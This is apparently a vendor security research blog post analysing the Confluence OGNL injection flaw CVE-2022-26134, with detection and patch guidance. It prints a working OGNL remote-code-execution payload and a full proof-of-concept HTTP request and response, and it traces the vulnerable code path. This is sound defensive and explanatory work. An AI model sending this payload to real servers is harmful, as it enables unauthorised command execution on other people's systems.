Atlassian Confluence OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134)

Mayank Deshmukh

Last updated on: November 16, 2022

On June 02, 2022, Atlassian published a security advisory about a critical severity Unauthenticated Remote Code Execution vulnerability affecting Confluence Server and Data Center. According to the advisory, the vulnerability is being actively exploited and Confluence Server and Data Center versions after 1.3.0 are affected. The vulnerability is tracked as CVE-2022-26134 with 9.8 CVSSv3 score with multiple proof of concept exploits released by security researchers on GitHub.   

Qualys Web Application Scanning released QID 150523 on June 08, 2022, to detect CVE-2022-26134, the detection sends HTTP GET request with a specially crafted OGNL payload to determine the vulnerability on the target Confluence application. The OGNL payload creates a custom HTTP response header containing the output of the system command executed on Linux and Windows systems. The detection also consists of a Qualys customized OGNL payload which is platform-independent, eliminating false positives and works irrespective of the host operating system by creating a custom HTTP response header with Qualys specified value.

About CVE-2022-26134

CVE-2022-26134 is an unauthenticated OGNL Injection remote code execution vulnerability affecting Confluence Server and Data Center versions after 1.3.0. In order to exploit a vulnerable server, a remote attacker can send a malicious HTTP GET request with an OGNL payload in the URI. The vulnerable server once exploited it would allow the attacker to execute commands remotely with user privileges running the Confluence application. The vulnerability is fixed in Confluence versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.

OGNL Injection

Object-Graph Navigation Language (OGNL) is an open-source Expression Language (EL) used for getting and setting the properties of Java objects. An OGNL Injection occurs when there is insufficient validation of user-supplied data, and the EL interpreter attempts to interpret it enabling attackers to inject their own EL code.

In the case of CVE-2022-26134, the RCE attack is not complex in nature. The attack can be executed by simply sending the OGNL payload in the request URI.  The payload can be crafted to add a custom HTTP response header that prints the output of successfully executed remote commands.

RCE Payload

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))}

Breaking the above payload, variable a is assigned the value of an expression which calls various static methods using syntax @class@method(args) , where java.lang.Runtime class calls exec method which executes id command and the output is stored in the variable a .

Next, from package com.opensymphony.xwork2 class ServletActionContext is called which uses getResponse and setHeader method to fetch response of id system command in X-Qualys-Response custom header.

Exploit POC

REQUEST

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

RESPONSE

HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1655819234897
Set-Cookie: JSESSIONID=7AE586C9E49E2301BA33E5A1552D8C6F; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Qualys-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Tue, 21 Jun 2022 13:47:14 GMT
Connection: close

Once the exploit is triggered it can be seen X-Qualys-Response HTTP response header contains the output of the id system command resulting in successful exploitation of this remote code execution vulnerability.

Exploit Analysis

While analyzing the above RCE request, the Qualys WAS research team came across the Catalina log file in Confluence Server stored at /opt/atlassian/confluence/logs/catalina.YYYY-MM-DD.log which had multiple entries of web requests sent, along with output from stdout and stderr . Following is the snippet from the log file printing stack trace for the RCE request:


07-Jun-2022 10:37:00.565 WARNING [Catalina-utility-4] org.apache.catalina.valves.StuckThreadDetectionValve.notifyStuckThreadDetected Thread [http-nio-8090-exec-17] (id=[347]) has been active for [75,417] milliseconds (since [6/7/22 10:35 AM]) to serve the same request for [http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/] and may be stuck (configured threshold for this StuckThreadDetectionValve is [60] seconds). There is/are [1] thread(s) in total that are monitored by this Valve and
may be stuck.
java.lang.Throwable
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1247)
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1215)
at ognl.OgnlParser.primaryExpression(OgnlParser.java:1494)
at ognl.OgnlParser.navigationChain(OgnlParser.java:1245)
[..SNIP..]
at ognl.Ognl.parseExpression(Ognl.java:113)
at com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196)
at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)
at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39)
at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95)
at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187)
at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61)
at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51)
at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115)
at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56)
at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
[..SNIP..]
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base@11.0.15/java.lang.Thread.run(Thread.java:829)

Analyzing the stack, com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199) appears to be the source where the injection occurs. The execution flows up to com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95) where execute method calls translateVariables method from TextParseUtil class com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39) which appears to be sink where the OGNL expression evaluation takes place invoking findValue method from OgnlValueStack class com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141) and goes forward parsing the OGNL expression with com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196) and multiple other classes.

Source Code Analysis

To have a better understanding of the execution flow of this RCE vulnerability, it’s important that we dive into the source code of these classes:

Starting off with ServletDispatcher class:

public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}

ServletDispatcher

The getNamespaceFromServletPath is used to obtain the namespace to which an Action belongs.

For example : When a malicious request http://127.0.0.1:8090/<RCE payload>/ is fired, the line servletPath.substring(0, servletPath.lastIndexOf("/")); will consider everything before the last trailing slash as a namespace. Hence namespace <RCE payload> is created from the malicious requested URI.

As a result, the last trailing slash is an essential component for the exploit to work, if omitted the payload won’t work.

This namespace is further utilized by execute method using this.namespace expression inside ActionChainResult :

public void execute(final ActionInvocation invocation) throws Exception {
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
}
final OgnlValueStack stack = ActionContext.getContext().getValueStack();
final String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
final String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
if (this.isInChainHistory(finalNamespace, finalActionName)) {
throw new XworkException("infinite recursion detected");
}

ActionChainResult

Here, translateVariables method from TextParseUtil class is called on this.namespace expression which converts all instances of ${...} in expression to the value returned by a call to OgnlValueStack.findValue .

Going forward with TextParseUtil class code:

package com.opensymphony.xwork.util;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class TextParseUtil
{
public static String translateVariables(final String expression, final OgnlValueStack stack) {
final StringBuilder sb = new StringBuilder();
final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
final Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
final String g = m.group(1);
final int start = m.start();
String value;
try {
final Object o = stack.findValue(g);
value = ((o == null) ? "" : o.toString());
}
catch (Exception ignored) {
value = "";
}
sb.append(expression.substring(previous, start)).append(value);
previous = m.end();
}
if (previous < expression.length()) {
sb.append(expression.substring(previous));
}
return sb.toString();
}
}

TextParseUtil

translateVariables method here takes two parameters expression which is basically a string which hasn’t been translated and secondly a value stack which allows dynamic OGNL expressions to be evaluated against it.

Inside final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}"); class Pattern defines a pattern to be searched and then it’s created using Pattern.compile() method.

In Java \ single backslash is an escape character for strings. Hence \\ double backslash are used in above regex \\$\\{([^}]*)\\} to escape $, {, } characters.

Next line final Matcher m = p.matcher(expression); uses matcher() method to search for the pattern in a string, for example : ${qualys.rce.payload} pattern is created.  

Further contents of round brackets are extracts from the regular expression \\$\\{([^}]*)\\} to match the expression using final String g = m.group(1); and pass it to  final Object o = stack.findValue(g);

And finally, findValue  finds the value by evaluating the given expression against the stack in the default search order.

As a result, when a remote attacker makes a malicious request URI http://127.0.0.1:8090/${rce_payload}/ , first ${rce_payload} gets translated into a namespace and then using TextParseUtil.translateVariables the payload is extracted and henceforth using findValue the OGNL expression rce_payload gets evaluated causing Remote Code Execution.

Detecting the Vulnerability with Qualys WAS

Customers can detect this vulnerability on the target Confluence application with Qualys Web Application Scanning using the following QID:

  • 150523: Atlassian Confluence Server and Data Center OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134)

Qualys WAS Report

Once the vulnerability is successfully detected, users shall see the following results in the vulnerability scan report:

Solution

Due to the Critical severity and active exploitation of this vulnerability, organizations using the Confluence application are strongly advised to upgrade their Confluence application to version 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, 7.18.1 or later version to remediate CVE-2022-26134 vulnerability. More information regarding patching and workaround can be referred to Confluence Security Advisory.

Credits

Confluence Security Advisory: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

CVE Details:

Credit for the vulnerability discovery goes to Volexity.

References:

Contributors

  • Sheela Sarva, Director, Quality Engineering, Web Application Security, Qualys
  • Rajesh Kumbhar, Senior Software Engineer, Qualys

Share your Comments

Comments

Your email address will not be published.